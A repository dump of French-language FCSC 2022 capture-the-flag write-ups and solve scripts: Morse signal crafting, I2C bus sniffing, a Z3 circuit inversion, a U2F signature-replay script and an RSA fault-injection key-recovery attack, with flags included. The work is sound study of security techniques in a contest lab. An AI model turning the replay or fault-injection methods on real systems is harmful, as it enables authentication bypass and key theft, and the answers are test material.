https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/daddy_morse/diff.png -------------------------------------------------------------------------------- /2022/FCSC/hardware/daddy_morse/enonce.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/daddy_morse/enonce.png -------------------------------------------------------------------------------- /2022/FCSC/hardware/daddy_morse/server.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | import base64 3 | from math import sqrt 4 | 5 | flag = open("flag.txt", "r").read().strip() 6 | 7 | SAMP_RATE = 24e3 8 | MAX_LEN = 256000 9 | 10 | FREQ = 5e3 11 | 12 | TIMING_DOT = 1/1000 13 | TIMING_DASH = 5/1000 14 | TIMING_SEP_LETTER = 5/1000 15 | TIMING_SPACE = 20/1000 16 | 17 | alphabet = { 'A':'.-', 'B':'-...', 18 | 'C':'-.-.', 'D':'-..', 'E':'.', 19 | 'F':'..-.', 'G':'--.', 'H':'....', 20 | 'I':'..', 'J':'.---', 'K':'-.-', 21 | 'L':'.-..', 'M':'--', 'N':'-.', 22 | 'O':'---', 'P':'.--.', 'Q':'--.-', 23 | 'R':'.-.', 'S':'...', 'T':'-', 24 | 'U':'..-', 'V':'...-', 'W':'.--', 25 | 'X':'-..-', 'Y':'-.--', 'Z':'--..', 26 | '1':'.----', '2':'..---', '3':'...--', 27 | '4':'....-', '5':'.....', '6':'-....', 28 | '7':'--...', '8':'---..', '9':'----.', 29 | '0':'-----', ', ':'--..--', '.':'.-.-.-', 30 | '?':'..--..', '/':'-..-.', '-':'-....-', 31 | '(':'-.--.', ')':'-.--.-'} 32 | 33 | rev_alphabet = {v:k for k,v in alphabet.items()} 34 | 35 | def morse_decode(msg): 36 | res = "" 37 | for word in msg.split(" "): 38 | for letter in word.split("_"): 39 | if letter in rev_alphabet: 40 | res += rev_alphabet[letter] 41 | elif letter == "": 42 | continue 43 | else: 44 | return "error" 45 | res += " " 46 | return res 47 | 48 | def decode_sample(sample): 49 | threshold = 0.1 50 | if sample > threshold: 51 | return 1 52 | else: 53 | return 0 54 | 55 | # Compute the timing difference between the provided timing and the expected one 56 | def diff(nb_samples, expected_timing): 57 | expected_nb_samples = expected_timing * SAMP_RATE 58 | d = abs(expected_nb_samples-nb_samples) / expected_nb_samples 59 | return d 60 | 61 | def am_decode(s): 62 | timings = [] 63 | 64 | current = decode_sample(s[0]) 65 | cnt = 1 66 | for c in s[1:]: 67 | new = decode_sample(c) 68 | if new == current: 69 | cnt += 1 70 | continue 71 | else: 72 | timings.append(cnt) 73 | current = new 74 | cnt = 1 75 | timings.append(cnt) 76 | 77 | data = "" 78 | current_symbol = decode_sample(s[0]) 79 | for timing in timings: 80 | # This decoder allows up to 10% imprecision in timings. 81 | # That is, to receive a dot of 1ms, the decoder allows 82 | # pulses that last between 0.9 and 1.1ms. 83 | # To receive a dash of 5ms, the decoder allows pulses 84 | # that last between 4.5 and 5.5ms. 85 | if current_symbol == 1: 86 | current_symbol = 0 87 | if diff(timing, TIMING_DOT) < 0.10: 88 | data += "." 89 | elif diff(timing, TIMING_DASH) < 0.10: 90 | data += "-" 91 | else: 92 | current_symbol = 1 93 | if diff(timing, TIMING_SEP_LETTER) < 0.10: 94 | data += "_" 95 | elif diff(timing, TIMING_SPACE) < 0.10: 96 | data += " " 97 | else: 98 | # A correct decoder should handle this case, 99 | # not done here to keep the code simple 100 | continue 101 | return data 102 | 103 | 104 | def main(): 105 | 106 | try: 107 | encoded = input("signal > ") 108 | except: 109 | print("Please check your inputs.") 110 | exit(0) 111 | 112 | if len(encoded) > MAX_LEN: 113 | print("Error: signal too long") 114 | exit(0) 115 | 116 | try: 117 | signal = np.frombuffer(base64.b64decode(encoded), dtype = np.complex64) 118 | 119 | data = am_decode(signal) 120 | msg = morse_decode(data).strip() 121 | 122 | if msg == "CAN I GET THE FLAG": 123 | print(f"Well done: {flag}") 124 | elif msg == "error": 125 | print("Error: invalid") 126 | else: 127 | print(f"You said {msg}") 128 | 129 | except Exception as e: 130 | print(f"Error: invalid") 131 | 132 | if __name__ == "__main__": 133 | main() 134 | -------------------------------------------------------------------------------- /2022/FCSC/hardware/daddy_morse/signal.iq: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/daddy_morse/signal.iq -------------------------------------------------------------------------------- /2022/FCSC/hardware/daddy_morse/signal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/daddy_morse/signal.png -------------------------------------------------------------------------------- /2022/FCSC/hardware/daddy_morse/signal2.iq: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/daddy_morse/signal2.iq -------------------------------------------------------------------------------- /2022/FCSC/hardware/daddy_morse/workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/daddy_morse/workflow.png -------------------------------------------------------------------------------- /2022/FCSC/hardware/daddy_morse/workflow2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/daddy_morse/workflow2.png -------------------------------------------------------------------------------- /2022/FCSC/hardware/i2c/README.md: -------------------------------------------------------------------------------- 1 | # I2CyouToo 2 | 3 | Difficulté : :star: 4 | 5 | Énoncé : 6 | 7 | > Un ami vous affirme qu'une EEPROM de 1024 bits branchée à son Arduino est une solution extrêmement sécurisée pour stocker ses secrets, vu que le protocole utilisé est "obfusqué" et "bas niveau" selon ses dires, "pas comme l'USB qui est *hotplug* et qu'on peut brancher directement sur n'importe quel OS !". Voulant le confronter à ses inepties, vous sortez votre analyseur logique pour sniffer la communication entre l'Arduino et l'EEPROM lorsqu'il tape son secret. Pourrez-vous remonter à ce dernier avec vos logiciels `Sigrok` et `gtkwave` ? 8 | 9 | Fichier : [capture.vcd](./capture.vcd) 10 | 11 | 12 | 13 | ### Découverte 14 | 15 | Avant de commencer, un peu de lecture sur le sujet (car je n'y connais absolument rien) : 16 | 17 | - https://en.wikipedia.org/wiki/Value_change_dump 18 | 19 | - http://electroniqueamateur.blogspot.com/2020/01/utiliser-une-memoire-eeprom-i2c-arduino.html 20 | 21 | - https://fr.wikipedia.org/wiki/I2C 22 | 23 | - https://sigrok.org/wiki/Sigrok-cli 24 | 25 | Il semblerait que l'Arduino discute avec la mémoire EEPROM en utilisant le protocole I²C. Ce protocole nécessite deux signaux : l'un contient les données et l'autre sert d'horloge. Ça tombe bien, le fichier VCD comporte l'enregistrement de deux signaux. On ouvre le fichier dans GTKWave pour vérifier : 26 | 27 | ![screen](gtkwave.png) 28 | 29 | On voit effectivement un signal d'horloge et des données. On remarque au passage qu'il y a un grand vide au début et à la fin. L'enregistrement est très long par rapport au moment qui contient les données. 30 | 31 | ### Résolution 32 | 33 | En lisant la doc de `sigrok-cli` on voit qu'il sait lire les fichier VCD et qu'il sait décoder le protocole I²C. Premier essai : 34 | 35 | ``` 36 | $ sigrok-cli -i format.vcd -P i2c 37 | sr: input/trace32_ad: Don't know how to handle this file with record size 32. 38 | i2c-1: Start 39 | i2c-1: 0 40 | i2c-1: 0 41 | i2c-1: 0 42 | i2c-1: 0 43 | i2c-1: 1 44 | i2c-1: 0 45 | i2c-1: 1 46 | i2c-1: 1 47 | i2c-1: Write 48 | i2c-1: Address write: 68 49 | i2c-1: ACK 50 | i2c-1: 0 51 | i2c-1: 0 52 | i2c-1: 0 53 | i2c-1: 0 54 | i2c-1: 0 55 | i2c-1: 0 56 | i2c-1: 0 57 | i2c-1: 0 58 | i2c-1: Data write: 00 59 | i2c-1: ACK 60 | i2c-1: 0 61 | i2c-1: 1 62 | i2c-1: 1 63 | i2c-1: 0 64 | i2c-1: 0 65 | i2c-1: 0 66 | i2c-1: 1 67 | i2c-1: 0 68 | i2c-1: Data write: 46 69 | i2c-1: ACK 70 | i2c-1: Stop 71 | i2c-1: Start 72 | i2c-1: 0 73 | i2c-1: 0 74 | i2c-1: 0 75 | i2c-1: 0 76 | i2c-1: 1 77 | i2c-1: 0 78 | i2c-1: 1 79 | i2c-1: 1 80 | i2c-1: Write 81 | i2c-1: Address write: 68 82 | i2c-1: ACK 83 | i2c-1: 1 84 | i2c-1: 0 85 | [...] 86 | ``` 87 | 88 | Ça a l'air de bien fonctionner. L'adresse vaut toujours `68` puis on écrit un chiffre compteur qui incrémente à chaque fois suivi d'un deuxième chiffre qui ressemble bien à un caractère ASCII encodé en hexadécimal. 89 | 90 | Reste plus qu'à me la péter un peu avec ma maîtrise du shell : 91 | 92 | ``` 93 | $ sigrok-cli -i format.vcd -P i2c | grep "Data write" | awk 'NR%2 == 0 { print $4 }' | xxd -r -ps 94 | sr: input/trace32_ad: Don't know how to handle this file with record size 32. 95 | FCSC{MY-PRECIOUS-PLEASE-STAY-SECRET!} 96 | ``` 97 | 98 | 99 | 100 | Merci aux orgas pour ce challenge donné clé en main avec l'occasion d'apprendre de nouvelles choses ! -------------------------------------------------------------------------------- /2022/FCSC/hardware/i2c/gtkwave.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/i2c/gtkwave.png -------------------------------------------------------------------------------- /2022/FCSC/hardware/mommy_morse/README.md: -------------------------------------------------------------------------------- 1 | # Mommy Morse 2 | 3 | Difficulté : :star::star: 4 | 5 | Énoncé : 6 | 7 | ![énoncé](./enonce.png) 8 | 9 | Fichiers : 10 | 11 | - [client.py](./client.py) 12 | - [server.py](./server.py) 13 | - [signal.iq](./signal.iq) 14 | 15 | 16 | 17 | ### Découverte 18 | 19 | Cela ressemble beaucoup à [Daddy Morse](../daddy_morse/README/md). Mettons côte à côte le `signal.iq` fourni ici avec celui fourni pour Daddy Morse : 20 | 21 | ![signal](signal.png) 22 | 23 | 24 | 25 | Il "suffit" de reprendre le signal créé pour Daddy Morse et d'envoyer un signal à 5 kHz au lieu de `1` et un signal à 1 kHz au lieu de `0`. 26 | 27 | 28 | 29 | ### Résolution 30 | 31 | Voici le workflow GNU Radio Companion qui convertit un fichier IQ Daddy Morse en Mommy Morse : 32 | 33 | ![workflow](worflow.png) 34 | 35 | (Le fichier GRC correspondant est [dispo ici](./workflow.grc).) 36 | 37 | Cela peut paraître compliqué mais ça ne l'est pas du tout. Le *File Source* à gauche correspond au signal Daddy Morse. On force la partie imaginaire à zéro pour pouvoir facilement l'utiliser comme multiplicateur. D'un côté on multiplie une porteuse de 5 kHz (*Signal Source* en haut) par ce signal et de l'autre au multiplie une porteuse à 1 kHz (*Signal Source* en bas) par son opposé (multiplier par `-1` puis ajouter `1` pour revient à transformer les `1` du signal en `0` et vice-versa). On somme ces deux signaux et on obtient un joli fichier IQ à envoyer au serveur. 38 | 39 | Il suffit donc de reprendre notre fichier IQ [généré précédemment](../daddy_morse/README/md), de le convertir grâce à ce workflow dans GNU Radio Companion et d'envoyer le fichier sortant au serveur grâce au programme `client.py` gentiment fourni dans l'énoncé. 40 | 41 | ``` 42 | Well done: FCSC{490b88345a22d35554b3e319b1200b985cc7683e975969d07841cd56dd488649} 43 | ``` 44 | 45 | -------------------------------------------------------------------------------- /2022/FCSC/hardware/mommy_morse/client.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import numpy as np 3 | import base64 4 | 5 | HOST = args.HOST or "challenges.france-cybersecurity-challenge.fr" 6 | PORT = args.PORT or 2252 7 | 8 | c = remote(HOST, PORT) 9 | 10 | hello_signal = np.fromfile("out.iq", dtype = np.complex64) 11 | 12 | encoded_signal = base64.b64encode(hello_signal.tobytes()) 13 | 14 | c.recvuntil(b"> ") 15 | c.sendline(encoded_signal) 16 | print(c.recvline()) 17 | -------------------------------------------------------------------------------- /2022/FCSC/hardware/mommy_morse/enonce.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/mommy_morse/enonce.png -------------------------------------------------------------------------------- /2022/FCSC/hardware/mommy_morse/out.iq: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/mommy_morse/out.iq -------------------------------------------------------------------------------- /2022/FCSC/hardware/mommy_morse/server.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | import base64 3 | from math import sqrt 4 | 5 | flag = open("flag.txt", "r").read() 6 | 7 | SAMP_RATE = 24e3 8 | MAX_LEN = 256000 9 | 10 | FREQ_HIGH = 5e3 11 | FREQ_LOW = 1e3 12 | 13 | TIMING_DOT = 1/1000 14 | TIMING_DASH = 5/1000 15 | TIMING_SEP_LETTER = 5/1000 16 | TIMING_SPACE = 20/1000 17 | 18 | alphabet = { 'A':'.-', 'B':'-...', 19 | 'C':'-.-.', 'D':'-..', 'E':'.', 20 | 'F':'..-.', 'G':'--.', 'H':'....', 21 | 'I':'..', 'J':'.---', 'K':'-.-', 22 | 'L':'.-..', 'M':'--', 'N':'-.', 23 | 'O':'---', 'P':'.--.', 'Q':'--.-', 24 | 'R':'.-.', 'S':'...', 'T':'-', 25 | 'U':'..-', 'V':'...-', 'W':'.--', 26 | 'X':'-..-', 'Y':'-.--', 'Z':'--..', 27 | '1':'.----', '2':'..---', '3':'...--', 28 | '4':'....-', '5':'.....', '6':'-....', 29 | '7':'--...', '8':'---..', '9':'----.', 30 | '0':'-----', ', ':'--..--', '.':'.-.-.-', 31 | '?':'..--..', '/':'-..-.', '-':'-....-', 32 | '(':'-.--.', ')':'-.--.-'} 33 | 34 | rev_alphabet = {v:k for k,v in alphabet.items()} 35 | 36 | def morse_decode(msg): 37 | res = "" 38 | for word in msg.split(" "): 39 | for letter in word.split("_"): 40 | if letter in rev_alphabet: 41 | res += rev_alphabet[letter] 42 | elif letter == "": 43 | continue 44 | else: 45 | raise ValueError("Not a correct Morse character") 46 | res += " " 47 | return res 48 | 49 | def decode_sample(sample): 50 | # Frequency should not be too far from the expected values 51 | if abs(sample-FREQ_HIGH) < 100: 52 | return 1 53 | elif abs(sample-FREQ_LOW) < 100: 54 | return 0 55 | else: 56 | raise ValueError("Frequency of your signal is off, try again") 57 | 58 | # Compute the timing difference between the provided timing and the expected one 59 | def diff(nb_samples, expected_timing): 60 | expected_nb_samples = expected_timing * SAMP_RATE 61 | d = abs(expected_nb_samples-nb_samples) / expected_nb_samples 62 | return d 63 | 64 | def fm_decode(s): 65 | # Get instantaneous frequency 66 | freq = np.diff(np.unwrap(np.angle(s))) 67 | freq = (SAMP_RATE / (2*np.pi)) * freq 68 | 69 | timings = [] 70 | 71 | current = decode_sample(freq[0]) 72 | cnt = 1 73 | for c in freq[1:]: 74 | new = decode_sample(c) 75 | if new == current: 76 | cnt += 1 77 | continue 78 | else: 79 | timings.append(cnt) 80 | current = new 81 | cnt = 1 82 | timings.append(cnt) 83 | 84 | data = "" 85 | current_symbol = decode_sample(freq[0]) 86 | for timing in timings: 87 | # This decoder allows up to 10% imprecision in timings. 88 | # That is, to receive a dot of 1ms, the decoder allows 89 | # pulses that last between 0.9 and 1.1ms. 90 | # To receive a dash of 5ms, the decoder allows pulses 91 | # that last between 4.5 and 5.5ms. 92 | if current_symbol == 1: 93 | current_symbol = 0 94 | if diff(timing, TIMING_DOT) < 0.10: 95 | data += "." 96 | elif diff(timing, TIMING_DASH) < 0.10: 97 | data += "-" 98 | else: 99 | current_symbol = 1 100 | if diff(timing, TIMING_SEP_LETTER) < 0.10: 101 | data += "_" 102 | elif diff(timing, TIMING_SPACE) < 0.10: 103 | data += " " 104 | else: 105 | # A correct decoder should handle this case, 106 | # not done here to keep the code simple 107 | continue 108 | return data 109 | 110 | 111 | def main(): 112 | 113 | try: 114 | encoded = input("signal > ") 115 | except: 116 | print("Please check your inputs.") 117 | exit(0) 118 | 119 | if len(encoded) > MAX_LEN: 120 | print("Error: signal too long") 121 | exit(0) 122 | 123 | try: 124 | signal = np.frombuffer(base64.b64decode(encoded), dtype = np.complex64) 125 | 126 | data = fm_decode(signal) 127 | msg = morse_decode(data).strip() 128 | 129 | if msg == "CAN I GET THE FLAG": 130 | print(f"Well done: {flag}") 131 | else: 132 | print(f"You said {msg}") 133 | except Exception as e: 134 | print(f"Error: {e}") 135 | 136 | if __name__ == "__main__": 137 | main() 138 | -------------------------------------------------------------------------------- /2022/FCSC/hardware/mommy_morse/signal.iq: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/mommy_morse/signal.iq -------------------------------------------------------------------------------- /2022/FCSC/hardware/mommy_morse/signal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/mommy_morse/signal.png -------------------------------------------------------------------------------- /2022/FCSC/hardware/mommy_morse/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import numpy as np 3 | import base64 4 | 5 | SAMP_RATE = 24e3 6 | 7 | TIMING_DOT = 1/1000 8 | TIMING_DASH = 5/1000 9 | TIMING_SEP_LETTER = 5/1000 10 | TIMING_SPACE = 20/1000 11 | 12 | alphabet = { 'A':'.-', 'B':'-...', 13 | 'C':'-.-.', 'D':'-..', 'E':'.', 14 | 'F':'..-.', 'G':'--.', 'H':'....', 15 | 'I':'..', 'J':'.---', 'K':'-.-', 16 | 'L':'.-..', 'M':'--', 'N':'-.', 17 | 'O':'---', 'P':'.--.', 'Q':'--.-', 18 | 'R':'.-.', 'S':'...', 'T':'-', 19 | 'U':'..-', 'V':'...-', 'W':'.--', 20 | 'X':'-..-', 'Y':'-.--', 'Z':'--..', 21 | '1':'.----', '2':'..---', '3':'...--', 22 | '4':'....-', '5':'.....', '6':'-....', 23 | '7':'--...', '8':'---..', '9':'----.', 24 | '0':'-----', ', ':'--..--', '.':'.-.-.-', 25 | '?':'..--..', '/':'-..-.', '-':'-....-', 26 | '(':'-.--.', ')':'-.--.-'} 27 | 28 | HOST = "challenges.france-cybersecurity-challenge.fr" 29 | PORT = 2251 30 | conn = remote(HOST, PORT) 31 | 32 | message = "CAN I GET THE FLAG" 33 | bits = [] 34 | 35 | for letter in message: 36 | if letter == " ": 37 | bits += [0] * int((TIMING_SPACE-TIMING_SEP_LETTER)*SAMP_RATE) 38 | continue 39 | for i, c in enumerate(alphabet[letter]): 40 | if c == ".": 41 | bits += [1+1j] * int(TIMING_DOT*SAMP_RATE) 42 | else: 43 | bits += [1+1j] * int(TIMING_DASH*SAMP_RATE) 44 | if i < len(alphabet[letter])-1: 45 | bits += [0] * int(TIMING_DOT*SAMP_RATE) 46 | bits += [0] * int(TIMING_SEP_LETTER*SAMP_RATE) 47 | 48 | signal = np.array(bits, dtype=np.complex64).tobytes() 49 | 50 | with open("signal2.iq", "wb") as f: 51 | f.write(signal) 52 | 53 | encoded_signal = base64.b64encode(signal) 54 | conn.recvuntil(b"> ") 55 | conn.sendline(encoded_signal) 56 | print(conn.recvline()) 57 | 58 | -------------------------------------------------------------------------------- /2022/FCSC/hardware/mommy_morse/worflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/mommy_morse/worflow.png -------------------------------------------------------------------------------- /2022/FCSC/hardware/qui_est_ce/README.md: -------------------------------------------------------------------------------- 1 | # Qui est-ce ? 2 | 3 | Difficulté : :star::star: 4 | 5 | Énoncé : 6 | 7 | ![énoncé](./enonce.png) 8 | 9 | Fichier : 10 | 11 | - [circuit.pdf](./circuit.pdf) 12 | 13 | 14 | 15 | ### Découverte 16 | 17 | Le fichier PDF contient un circuit électronique avec 63 entrées et 63 sorties. Cela paraît beaucoup mais en réalité c'est un pattern qui se répète comme on peut le voir ici : 18 | 19 | ![extrait](extrait.png) 20 | 21 | 22 | 23 | Toutes les sorties sont définies comme cela : 24 | 25 | ``` 26 | y0 = (x61 & !x62) ^ x0 27 | y1 = (x62 & !x0) ^ x1 28 | y2 = (x0 & !x1) ^ x2 29 | ... 30 | y62 = (x60 & !x61) ^ x62 31 | ``` 32 | 33 | (`&` représentant un ET binaire, `!` une NON et `^` un OU EXCLUSIF) 34 | 35 | 36 | 37 | ### Résolution 38 | 39 | Premièrement on essaye de faire un programme qui simule ce circuit. Fort heureusement, on peut tester notre programme grâce à la donnée de l'énoncé `f(6497282320360345885) = 1333333333333333337`. En encodant les bits dans le bon sens, cela donne : 40 | 41 | ```python 42 | def inv(n): 43 | if n == 0: return 1 44 | return 0 45 | 46 | def f(n): 47 | x = [int(i) for i in '{0:063b}'.format(n)][::-1] 48 | y = [0 for _ in range(63)] 49 | 50 | for i in range(63): 51 | y[i] = (x[i-2] & inv(x[i-1])) ^ x[i] 52 | 53 | return int("".join(str(b) for b in y[::-1]), 2) 54 | ``` 55 | 56 | Maintenant, on fait un `for n in range(2**64)` et on attend de trouver une solution qui fonctionne... Mais on se rend rapidement compte qu'il va falloir attend beaucoup trop longtemps. 57 | 58 | J'ai essayé de résoudre le problème à la main. Si par exemple on sait que `(x0 & !x1) ^ x2 = 0` et `(x1 & !x2) ^ x3 = 1`, cela signifie que `x2 = !(x0 & !x1)` et `x3 = (x1 & !x2)` mais cela paraît très fastidieux... je dois pouvoir faire calculer cela à mon PC. 59 | 60 | Je me souviens avec utiliser un solveur Z3 pour [une précédente édition du FCSC](../../../../2021/FCSC/crypto/rsa-destroyer/README.md) alors je vais essayer de formaliser mon problème dans Z3 et cela me donne un code presque joli qui est trouve la solution en moins d'une seconde ! 61 | 62 | ```python 63 | from z3 import * 64 | 65 | x = [] 66 | for i in range(63): 67 | x.append(Bool(f"x{i}")) 68 | 69 | y = [bool(int(i)) for i in '{0:063b}'.format(8549048879922979409)][::-1] 70 | 71 | s = Solver() 72 | 73 | for i in range(63): 74 | s.add(Xor(And(x[i-2], Not(x[i-1])), x[i]) == y[i]) 75 | 76 | s.check() 77 | m = s.model() 78 | 79 | flag = 0 80 | for i in range(63): 81 | if m[x[i]]: 82 | flag += 2**i 83 | 84 | print(flag) 85 | ``` 86 | 87 | flag : `FCSC{7364529468137835333}` 88 | -------------------------------------------------------------------------------- /2022/FCSC/hardware/qui_est_ce/circuit.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/qui_est_ce/circuit.pdf -------------------------------------------------------------------------------- /2022/FCSC/hardware/qui_est_ce/enonce.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/qui_est_ce/enonce.png -------------------------------------------------------------------------------- /2022/FCSC/hardware/qui_est_ce/extrait.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/hardware/qui_est_ce/extrait.png -------------------------------------------------------------------------------- /2022/FCSC/hardware/xfactor/solve.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import json 3 | # From USB capture 4 | challenge ="D5CxgaFPGIQu5fGYPEjo-YA9Dqd6y2PBoWP6p56TpFw" 5 | signature ="010000000030460221009683e1a139967409c2873dfdf65f770545858ea37b362bb28b12d6d38cccf442022100dcd87355102194001255c534f40737a56b147a9b40dc9f3594388627fc28195d" 6 | # Craft response 7 | clientData = base64.b64encode(('{"challenge":"'+challenge+'","origin":"https://x-factor.france-cybersecurity-challenge.fr","typ":"navigator.id.getAssertion"}').encode()).replace(b"/", b"_").replace(b"+", b"-").replace(b"=", b"").decode() 8 | keyHandle ="MiXECXjEbxAAe7QOH2gsiNiK7bXeuGJnLUGO7kbJutdODZvuqV-T1TPpTVEVIrynmScyNOjQaRAUi0PSH8LUtQ" 9 | signatureData = base64.b64encode( bytes.fromhex( signature )).replace( 10 | b"/", b"_").replace(b"+", b"-").replace(b"=", b"").decode() 11 | print( json.dumps({ 12 | "clientData": clientData , 13 | "keyHandle": keyHandle , 14 | "signatureData": signatureData 15 | })) 16 | -------------------------------------------------------------------------------- /2022/FCSC/matrice_junior.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/matrice_junior.png -------------------------------------------------------------------------------- /2022/FCSC/misc/guessme2/guessmetoo.py: -------------------------------------------------------------------------------- 1 | from Crypto.Random.random import getrandbits, randrange 2 | 3 | N = 128 4 | C = 136 5 | K = 32 6 | 7 | def I(): 8 | try: 9 | return int(input(">>> ")) 10 | except: 11 | exit(0) 12 | 13 | def w(x): 14 | return bin(x).count("1") & 1 15 | 16 | def game(): 17 | secret = getrandbits(N) 18 | 19 | M = [ I() for _ in range(C) ] 20 | if len(M) != len(set(M)): 21 | print("Repetitions are not allowed") 22 | exit(0) 23 | 24 | E = [0] * C 25 | E[randrange(C)] = 1 26 | print([ w(m & secret) ^ e for m, e in zip(M, E) ]) 27 | 28 | print("Now, can you guess the secret?") 29 | ch = I() == secret 30 | if ch: 31 | print("Well done!") 32 | else: 33 | print("Nope.") 34 | 35 | return ch 36 | 37 | if __name__ == "__main__": 38 | 39 | flag = open("flag.txt").read() 40 | 41 | G = [ game() for _ in range(K) ] 42 | if False not in G: 43 | print(flag) -------------------------------------------------------------------------------- /2022/FCSC/side_channel/nscnm/README.md: -------------------------------------------------------------------------------- 1 | # Never Skip Class Nor Multiplication 2 | 3 | Difficulté : :star: 4 | 5 | Énoncé : 6 | 7 | > Nous avons accès à un serveur qui permet de signer des messages avec RSA. Lors de la connexion, ce serveur nous transmet un message chiffré que nous voulons déchiffrer. 8 | > 9 | > Le serveur est compromis et il est possible d'injecter des *glitchs* pour sauter les opérations **de multiplication** dans l'algorithme *square and multiply* utilisé pour réaliser l'exponentiation modulaire du RSA. 10 | > 11 | > Retrouvez la clé de déchiffrement et récupérez le message. 12 | > 13 | > `nc challenges.france-cybersecurity-challenge.fr 2254` 14 | 15 | Fichier : [nscnm.py](./nscnm.py) 16 | 17 | 18 | 19 | ### Théorie 20 | 21 | Avant de commencer il faut être au point [le chiffrement RSA](https://fr.wikipedia.org/wiki/Chiffrement_RSA) mais si ça n'est pas le cas, on peut toujours deviner son fonctionnement grâce au code fourni : 22 | 23 | ```python 24 | from Crypto.Util.number import getStrongPrime, bytes_to_long 25 | 26 | BITS = 512 27 | 28 | def exp_mod_skip_mul(x, y, n, skip = -1): 29 | fmt = f"{{:0{2*BITS}b}}" 30 | exp = fmt.format(y) 31 | 32 | value = 1 33 | for i, e in enumerate(exp): 34 | value *= value 35 | if e == "1": 36 | if skip != i: 37 | value *= x 38 | value %= n 39 | return value 40 | 41 | if __name__ == "__main__": 42 | 43 | p, q = getStrongPrime(BITS), getStrongPrime(BITS) 44 | n = p * q 45 | e = 2 ** 16 + 1 46 | d = pow(e, -1, (p - 1) * (q - 1)) 47 | 48 | print(f"{n = }") 49 | print(f"{e = }") 50 | 51 | try: 52 | for _ in range(2 * BITS + 1): 53 | msg = bytes_to_long(input("msg = ").encode()) 54 | if msg == 0: 55 | break 56 | skip = int(input("skip = ")) 57 | print(exp_mod_skip_mul(msg, d, n, skip)) 58 | except: 59 | print("Please check your inputs.") 60 | exit(0) 61 | 62 | with open("flag.txt", "rb") as fp: 63 | m = bytes_to_long(fp.read()) 64 | c = pow(m, e, n) 65 | print(f"{c = }") 66 | 67 | ``` 68 | 69 | 70 | 71 | La clé privée fait 1024 bits et on a le droit de poser 1025 questions au serveur, cela rappelle [un certain challenge misc](../../misc/guessme2/README.md)... 72 | 73 | Dans le chiffrement RSA on a toujours besoin de mettre un nombre *exposant* un autre *modulo* un troisième. Tous ces nombres étant gigantesques (ordre de grandeur : $$ 2^{1024} $$) on a du trouver un moyen de faire cette opération beaucoup plus efficace que la méthode naïve : c'est [l'exponentiation modulaire](https://fr.wikipedia.org/wiki/Exponentiation_modulaire). Il se trouve que par hasard j'ai eu l'occasion de faire un oral sur le sujet cette année alors voici quelques slides pour aider à comprendre le principe : 74 | 75 | ![slide1](slide1.png) 76 | 77 | ![slide2](slide2.png) 78 | 79 | 80 | 81 | La différence ici c'est qu'on a le droit de passer une étape dans l'exponentiation modulaire. La fonction `exp_mod_skip_mul` est appelée pour mettre notre message à la puissance `d` (la clé privée) modulo `n` (la clé publique) et on peut lui dire *fais comme si le bit n°i de la clé privée était égal à `0`*. 82 | 83 | 84 | 85 | ### Résolution 86 | 87 | La stratégie consiste donc a toujours envoyé le même message au serveur en faisant varier le paramètre skip. Au début on met `-1` pour avoir la vraie valeur de $$ msg ^ {d} \pmod n$$. Ensuite on va faire varier `skip` de 0 à 1023. Si le serveur nous répond la même chose que la 1ère fois alors le bit n°skip de la clé privée est à `0` sinon il est à `1`. 88 | 89 | En Python, cela s'écrit : 90 | 91 | ```python 92 | from pwn import remote 93 | 94 | BITS = 512 95 | 96 | conn = remote("challenges.france-cybersecurity-challenge.fr", 2254) 97 | 98 | n = int(conn.recvline().decode().strip()[4:]) 99 | e = int(conn.recvline().decode().strip()[4:]) 100 | 101 | conn.recvuntil("= ") 102 | 103 | msg = 42 104 | conn.send(str(msg)+"\n") 105 | conn.recvuntil("= ") 106 | conn.send("-1\n") 107 | 108 | ref = int(conn.recvline().decode().strip()) 109 | 